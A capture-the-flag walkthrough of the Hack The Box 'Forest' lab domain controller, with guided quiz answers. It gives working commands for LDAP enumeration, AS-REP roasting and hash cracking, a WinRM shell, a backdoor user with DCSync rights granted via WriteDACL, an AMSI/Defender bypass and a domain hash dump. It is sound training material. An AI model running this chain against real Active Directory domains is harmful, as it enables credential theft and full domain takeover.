Forest

Join The Best Hacking Community Worldwide | Hack The Box

Over half a million platform members exhange ideas and methodologies. Be one of us and help the community grow even further!

www.hackthebox.com

Enumeration

Nmap

To begin our enumeration, we run an Nmap scan to gather information about the target services.

nmap -sC -sV -Pn -v 10.129.222.56

Since we might have missed some ports, we run an all-ports scan to be thorough.

nmap -sC -sV -Pn -v 10.129.222.56 -p- -T4 --min-rate=1000

This reveals some additional open ports:

The machine appears to be a Domain Controller for the htb.local domain. For which domain is this machine a Domain Controller?

• htb.local

LDAP

Next, we check if the LDAP service allows anonymous binds using the ldapsearch tool.

ldapsearch -x -H ldap://10.129.222.56 -D '' -w '' -b "DC=htb,DC=local"

The output confirms that anonymous binding is allowed, giving us some valuable information about the domain structure.

Which of the following services allows for anonymous authentication and can provide us with valuable information about the machine?

• LDAP

To further enumerate the domain, we use the windapsearch tool, which is useful for querying LDAP information in Active Directory.

git clone https://github.com/ropnop/windapsearch.git
pip install python-ldap
./windapsearch.py -d htb.local --dc-ip 10.129.222.56 -U

The -U flag is used to enumerate all users, i.e. objects with objectCategory set to user . We find some username and mailbox accounts, which means that exchange is installed in the domain. Let's enumerate all other objects in the domain using the objectClass=* filter.

./windapsearch.py -d htb.local --dc-ip 10.129.222.56 --custom "objectClass=*"

The query reveals 312 unique objects, including the svc-alfresco service account. Upon researching Alfresco online, we find that the service requires Kerberos pre-authentication to be disabled. This allows us to request an encrypted Ticket Granting Ticket (TGT) for this user. Since the TGT is encrypted with the user's NTLM hash, we can perform an offline brute-force attack to try and obtain the password for svc-alfresco.

Foothold

We use GetNPUsers.py from the Impacket suite to request the TGT for the svc-alfresco account:

impacket-GetNPUsers htb.local/svc-alfresco -dc-ip 10.129.222.56 -no-pass

The output includes a hash:

We use Hashcat to crack the AS-REP hash with mode 18200:

sudo hashcat -m 18200 hashes.asreproast /usr/share/wordlists/rockyou.txt

After successfully cracking the hash, we find the password for svc-alfresco is s3rvice.

Verify if we can login over winrm (optional)

└─$ nxc winrm 10.129.222.56                                               
WINRM       10.129.222.56   5985   FOREST           [*] Windows 10 / Server 2016 Build 14393 (name:FOREST) (domain:htb.local)

With port 5985 open, we attempt to log in via WinRM using evil-winrm:

evil-winrm -i 10.129.222.56 -u svc-alfresco -p s3rvice

We successfully gain an interactive shell and retrieve the user flag.

Which user has Kerberos Pre-Authentication disabled?

• svc-alfresco

What is the password of the user svc-alfresco?

• s3rvice

To what port can we connect with these creds to get an interactive shell?

• 5985

Privilege Escalation

To escalate privileges, we use BloodHound to enumerate possible paths to higher privileges. First, we upload and execute SharpHound to collect data for BloodHound:

https://github.com/BloodHoundAD/BloodHound/releases

https://github.com/BloodHoundAD/SharpHound/releases I used older version of SharpHound.exe and it was already made available in my local Tools folder.

*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> upload SharpHound.exe

Start neo4j

After running BloodHound and uploading the collected data, we search for the svc-alfresco user and mark it as owned. Double-clicking the node displays its properties on the right. We discover that svc-alfresco is a member of nine groups through nested memberships. Clicking on the number 9 reveals the detailed membership graph.

One of the nested groups is Account Operators, which is a privileged AD group. According to the documentation, members of the Account Operators group can create and modify users and add them to non-protected groups. We take note of this and then explore potential paths to Domain Admins by selecting the Shortest Path to High Value Targets query.

https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/understand-security-groups#account-operators

One of the identified paths shows that the Exchange Windows Permissions group has WriteDACL privileges on the domain. This permission allows a user to modify ACLs on an object, which means we can add a user to this group and grant them DCSync privileges.

Which group has WriteDACL permissions over the HTB.LOCAL domain?

• Exchange Windows Permissions

The user svc-alfresco is a member of a group that allows them to add themself to the "Exchange Windows Permissions" group. Which group is that?

• Account Operators

Which of the following attacks can you perform to elevate your privileges with a user that has WriteDACL on the domain?

• DCSync

With the WriteDACL permission, we add a new user (joe) to the Exchange Windows Permissions group and grant it DCSync rights.

*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> net user joe P@ssw0rd123 /add /domain
The command completed successfully.

*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> net group "Exchange Windows Permissions" joe /add
The command completed successfully.

*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> net localgroup "Remote Management Users" joe /add
The command completed successfully.

The Bypass-4MSI command is used to bypass Windows Defender before importing the script. We then use Add-ObjectACL with joe's credentials to assign DCSync rights to the user.

https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1

Finally, we use secretsdump.py from Impacket to dump the domain hashes:

We obtain the NTLM hash for the Administrator account, which we use to gain an administrative shell via psexec:

We successfully retrieve the root flag.

References

• HTB Forest Official Walkthrough